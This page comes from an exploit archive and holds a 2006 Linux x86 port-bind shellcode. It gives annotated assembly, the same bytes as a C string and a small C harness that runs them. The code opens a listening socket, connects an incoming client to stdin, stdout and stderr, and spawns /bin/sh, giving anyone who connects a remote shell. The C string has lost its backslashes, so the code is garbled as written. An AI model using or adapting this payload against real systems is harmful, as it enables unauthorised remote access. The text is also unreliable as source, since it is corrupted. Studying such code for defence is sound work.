[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 SET_PORT() portbind 100 bytes
# Published : 2006-05-08
# Author : Benjamin Orozco
# Previous Title : linux/x86 execve() Diassembly Obfuscation Shellcode 32 bytes
# Next Title : linux/x86 SET_IP() Connectback Shellcode 82 bytes
/*---------------------------------------------------------------------------*
* 100 byte Portbind shellcode *
* by Benjamin Orozco - benoror@gmail.com *
*---------------------------------------------------------------------------*
* filename: x86-linux-portbind.c *
* discription: x86-linux portbind shellcode. *
* Pretty big but excellent for educational purposes. *
* Use SET_PORT() before using the shellcode. Example: *
* *
* SET_PORT(sc, 31337); *
* *
*___________________________________________________________________________*
*---------------------------------------------------------------------------*/
/*---------------------------------------------------------------------------*
* ASM Code *
*---------------------------------------------------------------------------*
# s = socket(2, 1, 0)
push $0x66 #
pop %eax # 0x66 = socketcall
push $0x1 #
pop %ebx # socket() = 1
xor %ecx,%ecx #
push %ecx # 0
push $0x1 # SOCK_STREAM = 1
push $0x2 # AF_INET = 2
mov %esp,%ecx # Arguments
int $0x80 # EXECUTE - Now %eax have the s fileDescriptor
# bind(s [2, 64713, 0], 0x10)
xor %edx,%edx
push %edx # INADDR_ANY = 0
pushw $0xc9fc # PORT = 64713
pushw $0x2 # AF_INET = 2
mov %esp,%ecx # %ecx holds server struct
push $0x10 # sizeof(server) = 10
push %ecx # server struct
push %eax # s fileDescriptor
mov %esp,%ecx
mov %eax,%esi # now %esi holds s fileDescriptor
push $0x2 #
pop %ebx # bind() = 2
push $0x66 #
pop %eax # 0x66 = socketcall
int $0x80 # On success: %eax = 0
# listen(s, 0)
push $0x66 #
pop %eax # 0x66 = socketcall
push $0x4 #
pop %ebx # listen() = 4
int $0x80 # On success: %eax = 0
# c = accept(s, 0, 0)
xor %ecx,%ecx
push %ecx
push %ecx
push %esi # %esi = s
mov %esp,%ecx # Arguments
push $0x5 #
pop %ebx # accept() = 5
push $0x66 #
pop %eax # 0x66 = socketcall
int $0x80 # EXECUTE - Now %eax have c fileDescriptor
# dup2(c, 2) , dup2(c, 1) , dup2(c, 0)
xchg %eax,%ebx # Put c fileDescriptor on %ebx [for dup2()]
push $0x2
pop %ecx
dup_loop:
mov $0x3f,%al # dup2() = 0x3f
int $0x80
dec %ecx
jns dup_loop
# execve("/bin//sh", ["/bin//sh",NULL])
mov $0xb,%al # execve = 11d
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp, %ecx
int $0x80
*----------------------------------------------------------------------------*/
char sc[] =
"x6ax66" //push $0x66
"x58" //pop %eax
"x6ax01" //push $0x1
"x5b" //pop %ebx
"x31xc9" //xor %ecx,%ecx
"x51" //push %ecx
"x6ax01" //push $0x1
"x6ax02" //push $0x2
"x89xe1" //mov %esp,%ecx
"xcdx80" //int $0x80
"x31xd2" //xor %edx,%edx
"x52" //push %edx
"x66x68xfcxc9" //pushw $0xc9fc //PORT
"x66x6ax02" //pushw $0x2
"x89xe1" //mov %esp,%ecx
"x6ax10" //push $0x10
"x51" //push %ecx
"x50" //push %eax
"x89xe1" //mov %esp,%ecx
"x89xc6" //mov %eax,%esi
"x6ax02" //push $0x2
"x5b" //pop %ebx
"x6ax66" //push $0x66
"x58" //pop %eax
"xcdx80" //int $0x80
"x6ax66" //push $0x66
"x58" //pop %eax
"x6ax04" //push $0x4
"x5b" //pop %ebx
"xcdx80" //int $0x80
"x31xc9" //xor %ecx,%ecx
"x51" //push %ecx
"x51" //push %ecx
"x56" //push %esi
"x89xe1" //mov %esp,%ecx
"x6ax05" //push $0x5
"x5b" //pop %ebx
"x6ax66" //push $0x66
"x58" //pop %eax
"xcdx80" //int $0x80
"x93" //xchg %eax,%ebx
"x6ax02" //push $0x2
"x59" //pop %ecx
"xb0x3f" //mov $0x3f,%al
"xcdx80" //int $0x80
"x49" //dec %ecx
"x79xf9" //jns 48 <dup_loop>
"xb0x0b" //mov $0xb,%al
"x52" //push %edx
"x68x2fx2fx73x68" //push $0x68732f2f
"x68x2fx62x69x6e" //push $0x6e69622f
"x89xe3" //mov %esp,%ebx
"x52" //push %edx
"x53" //push %ebx
"x89xe1" //mov %esp,%ecx
"xcdx80"; //int $0x80
void SET_PORT(char *buf, int port) {
*(unsigned short *)(((buf)+22)) = (port);
char tmp = buf[22];
buf[22] = buf[23];
buf[23] = tmp;
}
main(){
printf("size: %d bytesn", strlen(sc));
SET_PORT(sc, 33333);
__asm__("call sc");
}
// www.Syue.com [2006-05-08]